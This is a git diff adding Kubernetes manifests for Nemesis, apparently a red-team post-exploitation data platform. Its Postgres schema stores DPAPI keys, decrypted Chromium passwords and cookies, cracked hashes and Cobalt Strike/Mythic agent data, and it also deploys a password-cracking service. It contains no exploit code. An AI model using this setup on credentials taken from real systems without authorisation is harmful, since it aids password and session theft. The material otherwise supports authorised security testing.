+ - name: RABBITMQ_CONNECTION_URI
+ valueFrom:
+ secretKeyRef:
+ name: rabbitmq-creds
+ key: rabbitmq-connectionuri
+ - name: SLACK_CHANNEL
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: slack-alert-channel
+ - name: SLACK_WEBHOOK_URL
+ valueFrom:
+ secretKeyRef:
+ name: operation-creds
+ key: slack_web_hook
+ - name: SLACK_USERNAME
+ value: Nemesis
+ - name: SLACK_EMOJI
+ value: ":smiling_imp:"
+
+ image: nemesis-passwordcracker
+ name: nemesis-passwordcracker
+ ports:
+ - containerPort: 9090
+ name: prometheus
+ resources:
+ requests:
+ cpu: "100m"
+ limits:
+ cpu: "2000m"
+ # Removing probes for now since cracking jobs can consume all CPU and stop the webserver from responding
+ # readinessProbe:
+ # httpGet:
+ # path: /metrics
+ # port: prometheus
+ # initialDelaySeconds: 5
+ # periodSeconds: 5
+ # timeoutSeconds: 60
+ # failureThreshold: 10
+
+ restartPolicy: Always
+status: {}
diff --git a/kubernetes/passwordcracker/service.yaml b/kubernetes/passwordcracker/service.yaml
new file mode 100644
index 0000000..85d2f78
--- /dev/null
+++ b/kubernetes/passwordcracker/service.yaml
@@ -0,0 +1,18 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: passwordcracker
+ labels:
+ app: passwordcracker
+ component: enrichment-pipeline
+spec:
+ type: NodePort
+ ports:
+ - name: "9090"
+ port: 9090
+ targetPort: 9090
+ nodePort: 31990
+ selector:
+ app: passwordcracker
+status:
+ loadBalancer: {}
diff --git a/kubernetes/pgadmin/configmap.yaml b/kubernetes/pgadmin/configmap.yaml
new file mode 100644
index 0000000..6c628f4
--- /dev/null
+++ b/kubernetes/pgadmin/configmap.yaml
@@ -0,0 +1,26 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: pgadmin-config
+data:
+ config_local.py: |
+ # Allow email addresses that end with .local
+ import email_validator
+ email_validator.SPECIAL_USE_DOMAIN_NAMES.remove("local")
+
+ # pgpass: |
+ # postgres:5432:postgres:postgres:nemesis
+ servers.json: |
+ {
+ "Servers": {
+ "1": {
+ "Name": "Nemesis",
+ "Group": "Servers",
+ "Port": 5432,
+ "Username": "nemesis",
+ "Host": "postgres",
+ "SSLMode": "prefer",
+ "MaintenanceDB": "postgres"
+ }
+ }
+ }
diff --git a/kubernetes/pgadmin/ingress.yaml b/kubernetes/pgadmin/ingress.yaml
new file mode 100644
index 0000000..28a5be4
--- /dev/null
+++ b/kubernetes/pgadmin/ingress.yaml
@@ -0,0 +1,24 @@
+# working for /pgadmin https://stackoverflow.com/a/72586264
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: pgadmin-ingress
+ annotations:
+ kubernetes.io/ingress.class: "nginx"
+ nginx.ingress.kubernetes.io/auth-type: basic
+ nginx.ingress.kubernetes.io/auth-secret: basic-auth
+ nginx.ingress.kubernetes.io/auth-realm: 'Authentication Required'
+ ingress.kubernetes.io/ssl-redirect: "false"
+ nginx.ingress.kubernetes.io/configuration-snippet: |
+ proxy_set_header X-Script-Name /pgadmin;
+spec:
+ rules:
+ - http:
+ paths:
+ - path: /pgadmin
+ pathType: ImplementationSpecific
+ backend:
+ service:
+ name: pgadmin
+ port:
+ number: 80
\ No newline at end of file
diff --git a/kubernetes/pgadmin/service.yaml b/kubernetes/pgadmin/service.yaml
new file mode 100644
index 0000000..adb6585
--- /dev/null
+++ b/kubernetes/pgadmin/service.yaml
@@ -0,0 +1,15 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: pgadmin
+ labels:
+ app: pgadmin
+spec:
+ ports:
+ - name: "80"
+ port: 80
+ targetPort: 80
+ nodePort: 31288
+ selector:
+ app: pgadmin
+ type: NodePort
diff --git a/kubernetes/pgadmin/statefulset.yaml b/kubernetes/pgadmin/statefulset.yaml
new file mode 100644
index 0000000..c5d6ccf
--- /dev/null
+++ b/kubernetes/pgadmin/statefulset.yaml
@@ -0,0 +1,63 @@
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+ name: pgadmin
+ labels:
+ app: pgadmin
+spec:
+ serviceName: pgadmin-service
+ podManagementPolicy: Parallel
+ replicas: 1
+ updateStrategy:
+ type: RollingUpdate
+ selector:
+ matchLabels:
+ app: pgadmin
+ template:
+ metadata:
+ labels:
+ app: pgadmin
+ spec:
+ terminationGracePeriodSeconds: 10
+ containers:
+ - name: pgadmin
+ image: dpage/pgadmin4:7.3
+ imagePullPolicy: Always
+ env:
+ - name: PGADMIN_DEFAULT_EMAIL
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: pgadmin-email
+ - name: PGADMIN_DEFAULT_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: pgadmin-password
+ ports:
+ - name: http
+ containerPort: 80
+ protocol: TCP
+ volumeMounts:
+ - name: pgadmin-config
+ mountPath: /pgadmin4/servers.json
+ subPath: servers.json
+ readOnly: true
+ - name: pgadmin-config
+ mountPath: /pgadmin4/config_local.py
+ subPath: config_local.py
+ readOnly: true
+ - name: pgadmin-data
+ mountPath: /var/lib/pgadmin
+ volumes:
+ - name: pgadmin-config
+ configMap:
+ name: pgadmin-config
+ volumeClaimTemplates:
+ - metadata:
+ name: pgadmin-data
+ spec:
+ accessModes: ["ReadWriteOnce"]
+ resources:
+ requests:
+ storage: 3Gi
diff --git a/kubernetes/postgres/configmap.yaml b/kubernetes/postgres/configmap.yaml
new file mode 100644
index 0000000..77f3fae
--- /dev/null
+++ b/kubernetes/postgres/configmap.yaml
@@ -0,0 +1,473 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: postgres-nemesis-schema
+ labels:
+ app: postgres-nemesis-schema
+data:
+ nemesis.sql: |
+ DROP SCHEMA IF EXISTS "nemesis" CASCADE;
+ CREATE SCHEMA "nemesis";
+ SET search_path TO "nemesis";
+
+ -- used for index processing for file trees
+ CREATE EXTENSION IF NOT EXISTS pg_trgm;
+
+ -- used for random UUID generation
+ CREATE EXTENSION IF NOT EXISTS "uuid-ossp";
+
+ START TRANSACTION;
+
+ SET TIME ZONE 'UTC';
+
+ CREATE TABLE projects (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ project_id TEXT PRIMARY KEY,
+ timestamp TIMESTAMP WITH TIME ZONE,
+ expiration DATE NOT NULL
+ );
+
+ -- this table is only used for inheritence for other tables to enforce these fields
+ CREATE TABLE project_data (
+ project_id TEXT REFERENCES projects (project_id),
+ source TEXT,
+ timestamp TIMESTAMP WITH TIME ZONE,
+ expiration DATE NOT NULL
+ );
+
+ -----------------------------------------------
+ --
+ -- Processed Datatypes
+ --
+ -----------------------------------------------
+ CREATE TYPE filesystem_object_type AS ENUM ('file', 'folder');
+
+ -- filesystem objects, whether through downloads or listings
+ CREATE TABLE filesystem_objects (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ id BIGSERIAL PRIMARY KEY, -- TODO: is this needed now that we have unique_db_id ?
+ agent_id TEXT NOT NULL,
+ path TEXT NOT NULL,
+ name TEXT,
+ extension TEXT, -- extracted from the path
+ type filesystem_object_type,
+ size BIGINT,
+ magic_type TEXT,
+ creation_time TIMESTAMP WITH TIME ZONE, -- UTC
+ access_time TIMESTAMP WITH TIME ZONE, -- UTC
+ modification_time TIMESTAMP WITH TIME ZONE, -- UTC
+ access_mode INTEGER, -- *nix permission number
+ file_group TEXT, -- *nix case sensitive file group membership
+ file_id TEXT, -- *nix string for an inode or file id
+ owner TEXT, -- Case sensitive owner (*nix and Windows)
+ sddl TEXT,
+ nemesis_file_id UUID, -- Nemesis file UUID `object_id` if the file is uploaded
+ UNIQUE (project_id, source, path)
+ ) INHERITS (project_data);
+
+ -- Trigram indexing for `filesystem_objects` path search speedup
+ -- GIN is faster to read but slower to write. GiST is faster to write but slower to read and is smaller on disk.
+ CREATE INDEX filesystem_objects_on_path_idx ON filesystem_objects USING GIN(path gin_trgm_ops);
+
+ -- registry entry objects
+ CREATE TABLE registry_objects (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ key TEXT NOT NULL,
+ value_name TEXT,
+ value_kind INTEGER,
+ value TEXT,
+ sddl TEXT,
+ tags TEXT,
+ UNIQUE (project_id, source, key, value_name)
+ ) INHERITS (project_data);
+
+ -- Trigram indexing for `registry_objects` path search speedup
+ -- GIN is faster to read but slower to write. GiST is faster to write but slower to read and is smaller on disk.
+ -- CREATE INDEX registry_objects_on_key_idx ON registry_objects USING GIN(key gin_trgm_ops);
+ -- currently failing https://stackoverflow.com/questions/42022362/no-unique-or-exclusion-constraint-matching-the-on-conflict
+
+ -- Windows services, derived from registry values or submitted manually
+ CREATE TABLE services (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ binary_path TEXT,
+ command_line TEXT,
+ description TEXT,
+ display_name TEXT,
+ name TEXT NOT NULL,
+ sddl TEXT,
+ service_dll_entrypoint TEXT,
+ service_dll_path TEXT,
+ service_type SMALLINT,
+ start_type SMALLINT,
+ state SMALLINT,
+ username TEXT,
+ filesystem_object_id INT REFERENCES filesystem_objects (id), -- reference to the service file if it's been downloaded
+ UNIQUE (project_id, source, name)
+ ) INHERITS (project_data);
+
+ -- Windows named pipes, derived Seatbelt data or submitted manually
+ CREATE TABLE named_pipes (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ name TEXT not NULL,
+ server_process_name TEXT,
+ server_process_id INTEGER,
+ server_process_path TEXT,
+ sddl TEXT
+ ) INHERITS (project_data);
+
+ -- An in-between the Elastic and Postgres representations for enriched data
+ -- This is for ease of use of searching/filtering through the dashboard(s)
+ CREATE TABLE file_data_enriched (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ object_id UUID, -- Nemesis file UUID of the uploaded file
+ path TEXT NOT NULL,
+ name TEXT,
+ size BIGINT,
+ md5 TEXT,
+ sha1 TEXT,
+ sha256 TEXT,
+ nemesis_file_type TEXT,
+ magic_type TEXT,
+ converted_pdf_id UUID, -- Nemesis file UUID if there's a converted PDF linked to this file
+ extracted_plaintext_id UUID, -- Nemesis file UUID if there's extracted plaintext linked to this file
+ extracted_source_id UUID, -- Nemesis file UUID if there's extracted source code linked to this file
+ tags TEXT[], -- hash_dpapi, has_deserialization, etc.
+ originating_object_id UUID, -- Nemesis file UUID of the file/archive the file originates from
+ UNIQUE (object_id)
+ ) INHERITS (project_data);
+
+ -- Network connection, derived Seatbelt data or submitted manually
+ CREATE TABLE network_connections (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ local_address TEXT,
+ remote_address TEXT,
+ protocol TEXT,
+ state TEXT,
+ process_id INTEGER,
+ process_name TEXT,
+ service TEXT
+ ) INHERITS (project_data);
+
+ -----------------------------------------------
+ --
+ -- DPAPI
+ --
+ -----------------------------------------------
+
+ -- The DPAPI domain backupkey
+ CREATE TABLE dpapi_domain_backupkeys (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ domain_backupkey_guid UUID PRIMARY KEY, -- linked to `domain_backupkey_guid` in dpapi_masterkeys
+ domain_controller TEXT NOT NULL,
+ domain_backupkey_bytes BYTEA NOT NULL -- actual bytes (~1k) of the domain backup key
+ ) INHERITS (project_data);
+
+ -- individual masterkey files
+ CREATE TABLE dpapi_masterkeys (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ object_id UUID, -- Nemesis file UUID `object_id` of the uploaded file
+ type TEXT, -- "domain_user", "local_user", or "machine"
+ username TEXT, -- username of the user who owns the key
+ user_sid TEXT, -- user SID of the user who owns the key
+ masterkey_guid UUID PRIMARY KEY, -- linked to `masterkey_guid` in dpapi_blobs
+ is_decrypted BOOLEAN, -- true if key is currently decrypted
+ masterkey_bytes BYTEA, -- raw bytes of the masterkey
+ domain_backupkey_guid UUID, -- linked to `domain_backupkey_guid` in dpapi_domain_backupkeys
+ domainkey_pb_secret BYTEA, -- bytes encrypted by the domain backup key
+ decrypted_key_full BYTEA, -- the full decrypted master key
+ decrypted_key_sha1 BYTEA -- the sha1 representation of the masterkey
+ ) INHERITS (project_data);
+
+ -- individual DPAPI data blobs
+ CREATE TABLE dpapi_blobs (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ dpapi_blob_id UUID PRIMARY KEY, -- unique identifier so originating documents can keep track of which DPAPI blobs were extracted from it (NOT S3)
+ originating_object_id UUID, -- Nemesis file UUID of the file the DPAPI blob was carved from
+ originating_registry_id UUID, -- unique_db_id of the registry_objects key that the blob was carved from
+ masterkey_guid UUID NOT NULL, -- linked to `masterkey_guid` in dpapi_masterkeys
+ is_file BOOLEAN,
+ is_decrypted BOOLEAN,
+ enc_data_bytes BYTEA, -- If the encrypted data is < 1024 bytes it will be stored as bytes in this field
+ enc_data_object_id UUID, -- If the encrypted data is > 1024 bytes it will be will be stored in S3 as a UUID file
+ dec_data_bytes BYTEA, -- If the decrypted data is < 1024 bytes it will be stored as bytes in this field
+ dec_data_object_id UUID -- If the decrypted data is > 1024 bytes it will be will be stored in S3 as a UUID file
+ ) INHERITS (project_data);
+
+
+ -----------------------------------------------
+ --
+ -- Chromium
+ --
+ -----------------------------------------------
+
+ -- Entries from the "urls" table in a Chromium "History" database
+ CREATE TABLE chromium_history (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ originating_object_id UUID, -- Nemesis file UUID if this entry originated from a file
+ user_data_directory TEXT, -- specific user Chromium data directory path, if applicable
+ username TEXT, -- username extracted from user_data_directory, if applicable
+ browser TEXT, -- browser name extracted from user_data_directory, if applicable
+ url TEXT, -- extracted from the Chromium DB
+ title TEXT, -- extracted from the Chromium DB
+ visit_count INTEGER, -- extracted from the Chromium DB
+ typed_count INTEGER, -- extracted from the Chromium DB
+ last_visit_time TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ UNIQUE (source, agent_id, originating_object_id, user_data_directory, url)
+ ) INHERITS (project_data);
+
+ -- Entries from the "downloads" table in a Chromium "History" database
+ CREATE TABLE chromium_downloads (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ originating_object_id UUID, -- Nemesis file UUID if this entry originated from a file
+ user_data_directory TEXT, -- specific user Chromium data directory path, if applicable
+ username TEXT, -- username extracted from user_data_directory, if applicable
+ browser TEXT, -- browser name extracted from user_data_directory, if applicable
+ url TEXT, -- extracted from the Chromium DB `tab_url` field
+ download_path TEXT, -- extracted from the Chromium DB `target_path` field
+ start_time TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ end_time TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ total_bytes INTEGER, -- extracted from the Chromium DB
+ danger_type TEXT, -- extracted from the Chromium DB, converted from int
+ UNIQUE (source, agent_id, originating_object_id, user_data_directory, download_path)
+ ) INHERITS (project_data);
+
+ -- Entries from the saved "logins" table in a Chromium "Login Data" database
+ CREATE TABLE chromium_logins (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ originating_object_id UUID, -- Nemesis file UUID if this entry originated from a file
+ user_data_directory TEXT, -- specific user Chromium data directory path, if applicable
+ username TEXT, -- username extracted from user_data_directory, if applicable
+ browser TEXT, -- browser name extracted from user_data_directory, if applicable
+ origin_url TEXT, -- extracted from the Chromium DB
+ username_value TEXT, -- extracted from the Chromium DB
+ password_value_enc BYTEA, -- extracted from the Chromium DB `password_value` field
+ signon_realm TEXT, -- extracted from the Chromium DB
+ date_created TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ date_last_used TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ date_password_modified TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ times_used INTEGER, -- extracted from the Chromium DB
+ encryption_type TEXT, -- carved from the `password_value_enc` bytes
+ masterkey_guid UUID, -- if encryption_type==dpapi, linked to `masterkey_guid` in dpapi_masterkeys
+ is_decrypted BOOLEAN,
+ password_value_dec TEXT,
+ UNIQUE (source, agent_id, originating_object_id, user_data_directory, origin_url, username_value, password_value_enc)
+ ) INHERITS (project_data);
+
+ -- Entries from the "cookies" table in a Chromium "Cookies" database
+ -- https://chromium.googlesource.com/chromium/src/net/+/refs/heads/main/extras/sqlite/sqlite_persistent_cookie_store.cc#123
+ CREATE TABLE chromium_cookies (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ originating_object_id UUID, -- Nemesis file UUID if this entry originated from a file
+ user_data_directory TEXT, -- specific user Chromium data directory path, if applicable
+ username TEXT, -- username extracted from user_data_directory, if applicable
+ browser TEXT, -- browser name extracted from user_data_directory, if applicable
+ host_key TEXT, -- extracted from the Chromium DB
+ name TEXT, -- extracted from the Chromium DB
+ path TEXT, -- extracted from the Chromium DB
+ creation_utc TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ expires_utc TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ last_access_utc TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ last_update_utc TIMESTAMP WITH TIME ZONE, -- extracted from the Chromium DB
+ is_secure BOOLEAN, -- extracted from the Chromium DB
+ is_httponly BOOLEAN, -- extracted from the Chromium DB
+ is_session BOOLEAN, -- extracted from the Chromium DB
+ samesite TEXT, -- extracted from the Chromium DB, translated from int
+ source_port INTEGER, -- extracted from the Chromium DB
+ value_enc BYTEA, -- extracted from the Chromium DB `encrypted_value` field
+ encryption_type TEXT, -- carved from the `value_enc` bytes
+ masterkey_guid UUID, -- if encryption_type==dpapi, linked to `masterkey_guid` in dpapi_masterkeys
+ is_decrypted BOOLEAN,
+ value_dec TEXT,
+ UNIQUE (source, agent_id, originating_object_id, user_data_directory, host_key, name, path)
+ ) INHERITS (project_data);
+
+ -- Information/encrypted key from a Chromium "Local State" file
+ -- The data["os_crypt"]["encrypted_key"] entry is used to encrypt new Chromium logins/cookies
+ CREATE TABLE chromium_state_files (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ originating_object_id UUID, -- Nemesis file UUID if this entry originated from a file
+ user_data_directory TEXT, -- specific user Chromium data directory path, if applicable
+ username TEXT, -- username extracted from user_data_directory, if applicable
+ browser TEXT, -- browser name extracted from user_data_directory, if applicable
+ installation_date DATE, -- extracted from the Chromium `Local State` file
+ launch_count INTEGER, -- extracted from the Chromium `Local State` file
+ masterkey_guid UUID, -- linked to `masterkey_guid` in dpapi_masterkeys
+ key_bytes_enc BYTEA NOT NULL, -- extracted from the Chromium `Local State` file
+ app_bound_fixed_data_enc BYTEA NOT NULL, -- extracted from the Chromium `Local State` file
+ is_decrypted BOOLEAN,
+ key_bytes_dec BYTEA NOT NULL,
+ app_bound_fixed_data_dec BYTEA NOT NULL,
+ UNIQUE (source, agent_id, originating_object_id, user_data_directory)
+ ) INHERITS (project_data);
+
+
+ -----------------------------------------------
+ --
+ -- Slack
+ --
+ -----------------------------------------------
+
+ -- Parsed downloads from a "slack-downloads" file or Seatbelt json
+ CREATE TABLE slack_downloads (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ originating_object_id UUID, -- Nemesis file UUID if this entry originated from a file
+ username TEXT, -- username extracted from file path, if applicable
+ workspace_id TEXT, -- extracted from slack-downloads
+ download_id TEXT, -- extracted from slack-downloads
+ team_id TEXT, -- extracted from slack-downloads
+ user_id TEXT, -- extracted from slack-downloads
+ url TEXT, -- extracted from slack-downloads
+ download_path TEXT, -- extracted from slack-downloads
+ download_state TEXT, -- extracted from slack-downloads
+ start_time TIMESTAMP WITH TIME ZONE, -- extracted from slack-downloads
+ end_time TIMESTAMP WITH TIME ZONE, -- extracted from slack-downloads
+ UNIQUE (source, agent_id, originating_object_id, workspace_id, download_id)
+ ) INHERITS (project_data);
+
+ -- Parsed downloads from a "slack-workspaces" file or Seatbelt json
+ CREATE TABLE slack_workspaces (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ originating_object_id UUID, -- Nemesis file UUID if this entry originated from a file
+ username TEXT, -- username extracted from file path, if applicable
+ workspace_id TEXT, -- extracted from slack-workspaces
+ workspace_domain TEXT, -- extracted from slack-workspaces
+ workspace_name TEXT, -- extracted from slack-workspaces
+ workspace_icon_url TEXT, -- extracted from slack-workspaces
+ UNIQUE (source, agent_id, originating_object_id, workspace_id, workspace_domain, workspace_name)
+ ) INHERITS (project_data);
+
+
+ -----------------------------------------------
+ --
+ -- Hashes and authentication data
+ --
+ -----------------------------------------------
+
+ -- Hashes extracted from plaintext files
+ CREATE TABLE extracted_hashes (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ originating_object_id UUID, -- Nemesis file UUID of the file the hash was carved from, if applicable
+ hash_type TEXT, -- Cloned from `type` in authentication_data
+ hash_value TEXT NOT NULL, -- Value of extracted hash
+ hashcat_formatted_value TEXT, -- Optional Hashcat-formatted hash value
+ jtr_formatted_value TEXT, -- Optional JTR-formatted hash value
+ is_cracked BOOLEAN, -- True if the hash has been cracked
+ checked_against_top_passwords BOOLEAN, -- True if the top X passwords have been checked against this
+ is_submitted_to_cracker BOOLEAN, -- True if the hash has submitted to a longer-run cracking job
+ cracker_submission_time TIMESTAMP WITH TIME ZONE, -- Time the hash was submitted to a longer-run cracking job
+ cracker_cracked_time TIMESTAMP WITH TIME ZONE, -- Time the hash was cracked by a longer-run cracking job
+ plaintext_value TEXT -- The data value if the hash has been cracked
+ ) INHERITS (project_data);
+
+
+ -- Authentication data submitted to the API or surfaced internally
+ CREATE TABLE authentication_data (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT NOT NULL,
+ data TEXT,
+ type TEXT,
+ is_file BOOLEAN,
+ uri TEXT,
+ username TEXT,
+ notes TEXT,
+ originating_object_id UUID, -- Nemesis file UUID if the auth data was carved from a file
+ UNIQUE (agent_id, type, uri, username, data)
+ ) INHERITS (project_data);
+
+
+ -----------------------------------------------
+ --
+ -- Host/agent info
+ --
+ -----------------------------------------------
+
+ -- Basic information surfaced about encountered hosts
+ CREATE TABLE hosts (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ id SERIAL PRIMARY KEY,
+ hostname TEXT,
+ description TEXT,
+ os_type TEXT,
+ windows_major_version NUMERIC(9,1),
+ windows_build TEXT,
+ windows_release TEXT,
+ windows_domain TEXT,
+ linux_kernel_version TEXT,
+ linux_distributor TEXT,
+ linux_release TEXT,
+ agent_ids TEXT[],
+ UNIQUE (hostname)
+ ) INHERITS (project_data);
+
+ -- Basic information surfaced about agents that have submitted data
+ CREATE TABLE agents (
+ unique_db_id UUID NOT NULL DEFAULT uuid_generate_v4(),
+ agent_id TEXT PRIMARY KEY, -- ID from Cobalt Strike/Mythic/etc.
+ host_id INT REFERENCES hosts (id), -- reference to host the agent is running on
+ agent_type TEXT NOT NULL,
+ first_seen TIMESTAMP WITH TIME ZONE,
+ last_seen TIMESTAMP WITH TIME ZONE,
+ is_alive BOOLEAN,
+ arch TEXT,
+ process_name TEXT,
+ process_id INTEGER,
+ process_username TEXT,
+ UNIQUE (agent_id)
+ ) INHERITS (project_data);
+
+
+ -----------------------------------------------
+ --
+ -- Triage/Analysis
+ --
+ -----------------------------------------------
+
+ -- Tracks objects in the DB that have been triaged by operator input
+ CREATE TABLE triage (
+ unique_db_id UUID NOT NULL PRIMARY KEY, -- unique_db_id UUID of the object that's been triaged
+ table_name TEXT, -- optional table name the unique_db_id originates from
+ modification_time TIMESTAMP WITH TIME ZONE, -- Last time the field was modified
+ operator TEXT, -- optional name of the operator making the change
+ value TEXT -- Useful/Not Useful/Unknown, or not set
+ );
+
+ -- Tracks objects in the DB that have been triaged by operator input
+ CREATE TABLE notes (
+ unique_db_id UUID NOT NULL PRIMARY KEY, -- unique_db_id UUID of the object that has a note added
+ table_name TEXT, -- optional table name the unique_db_id originates from
+ modification_time TIMESTAMP WITH TIME ZONE, -- Last time the field was modified
+ operator TEXT, -- optional name of the operator making the change
+ value TEXT -- text of the note an operator left
+ );
+
+
+ -----------------------------------------------
+ --
+ -- Reprocessing
+ --
+ -----------------------------------------------
+
+ -- All incoming data POST messages are stored in their raw form so
+ -- we can replay them later for reprocessing.
+ CREATE TABLE api_data_messages (
+ message_id TEXT PRIMARY KEY, -- the unique message ID of the posted data message
+ message_bytes BYTEA NOT NULL -- raw bytes of an incoming message
+ );
+
+ COMMIT;
diff --git a/kubernetes/postgres/deployment.yaml b/kubernetes/postgres/deployment.yaml
new file mode 100644
index 0000000..e6df033
--- /dev/null
+++ b/kubernetes/postgres/deployment.yaml
@@ -0,0 +1,87 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: postgres # Sets Deployment name
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: postgres
+ template:
+ metadata:
+ labels:
+ app: postgres
+ spec:
+ containers:
+ - name: postgres
+ image: postgres:15.1-alpine
+ imagePullPolicy: "IfNotPresent"
+ ports:
+ - containerPort: 5432 # Exposes container port
+ env:
+ - name: POSTGRES_DB
+ value: nemesis
+ - name: POSTGRES_USER
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: postgres-user
+ - name: POSTGRES_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: postgres-password
+ volumeMounts:
+ - mountPath: /var/lib/postgresql/data
+ name: postgredb
+ - name: postgres-nemesis-schema
+ mountPath: /docker-entrypoint-initdb.d/nemesis.sql
+ subPath: nemesis.sql
+ readOnly: true
+ volumes:
+ - name: postgres-nemesis-schema
+ configMap:
+ name: postgres-nemesis-schema
+
+ # Persistence
+
+ # # Option 1) Use to have the DB wiped on each reboot (for dev)
+ # - name: postgredb
+ # emptyDir: {}
+
+ # # Option 2) Uncomment everything below including the PersistentVolume(Claim) to have data persist across runs (for prod)
+ - name: postgredb
+ persistentVolumeClaim:
+ claimName: postgres-pv-claim
+---
+kind: PersistentVolume
+apiVersion: v1
+metadata:
+ name: postgres-pv-volume
+ labels:
+ type: local
+ app: postgres
+spec:
+ storageClassName: manual
+ capacity:
+ storage: 15Gi
+ accessModes:
+ - ReadWriteMany
+ hostPath:
+ path: "/mnt/data/postgres/"
+ # path: "/postgres-data/"
+---
+kind: PersistentVolumeClaim
+apiVersion: v1
+metadata:
+ name: postgres-pv-claim
+ labels:
+ app: postgres
+spec:
+ storageClassName: manual
+ accessModes:
+ - ReadWriteMany
+ resources:
+ requests:
+ storage: 15Gi
+ volumeName: postgres-pv-volume
\ No newline at end of file
diff --git a/kubernetes/postgres/service.yaml b/kubernetes/postgres/service.yaml
new file mode 100644
index 0000000..e0502b8
--- /dev/null
+++ b/kubernetes/postgres/service.yaml
@@ -0,0 +1,15 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: postgres
+ labels:
+ app: postgres
+spec:
+ type: NodePort
+ ports:
+ - name: "5432"
+ port: 5432
+ targetPort: 5432
+ nodePort: 31209
+ selector:
+ app: postgres
diff --git a/kubernetes/rabbitmq/NOTE.md b/kubernetes/rabbitmq/NOTE.md
new file mode 100644
index 0000000..cb86075
--- /dev/null
+++ b/kubernetes/rabbitmq/NOTE.md
@@ -0,0 +1 @@
+RabbitMQ manifests derived from https://github.com/GoogleCloudPlatform/click-to-deploy/tree/master/k8s/rabbitmq/chart/rabbitmq
\ No newline at end of file
diff --git a/kubernetes/rabbitmq/configmap.yaml b/kubernetes/rabbitmq/configmap.yaml
new file mode 100644
index 0000000..3ab8b6b
--- /dev/null
+++ b/kubernetes/rabbitmq/configmap.yaml
@@ -0,0 +1,35 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ labels:
+ app.kubernetes.io/component: rabbitmq-server
+ app.kubernetes.io/name: nemesis-rabbitmq
+ name: nemesis-rabbitmq-config
+ namespace: default
+data:
+ enabled_plugins: |
+ [rabbitmq_management,rabbitmq_peer_discovery_k8s,rabbitmq_prometheus].
+
+ rabbitmq.conf: |
+ ## Clustering
+ cluster_formation.peer_discovery_backend = rabbit_peer_discovery_k8s
+ cluster_formation.k8s.host = kubernetes.default.svc.cluster.local
+ # Use the Pods hostname instead of IP addresses to create a cluster.
+ # The Pod IP doesn't work with persistence because new Pods get a new IP addresses,
+ # that doesn't have access to existing data after the node name has changed.
+ cluster_formation.k8s.address_type = hostname
+ cluster_formation.node_cleanup.interval = 10
+ # Set to false if automatic removal of unknown/absent nodes
+ # is desired. This can be dangerous, see
+ # * http://www.rabbitmq.com/cluster-formation.html#node-health-checks-and-cleanup
+ # * https://groups.google.com/forum/#!msg/rabbitmq-users/wuOfzEywHXo/k8z_HWIkBgAJ
+ cluster_formation.node_cleanup.only_log_warning = true
+ cluster_partition_handling = autoheal
+ ## queue master locator
+ queue_master_locator = min-masters
+ ## The default "guest" user is only permitted to access the server
+ ## via a loopback interface (e.g. localhost)
+ ## See http://www.rabbitmq.com/access-control.html#loopback-users
+ loopback_users.guest = false
+
+ management.path_prefix = /rabbitmq/
\ No newline at end of file
diff --git a/kubernetes/rabbitmq/ingress.yaml b/kubernetes/rabbitmq/ingress.yaml
new file mode 100644
index 0000000..ac6409e
--- /dev/null
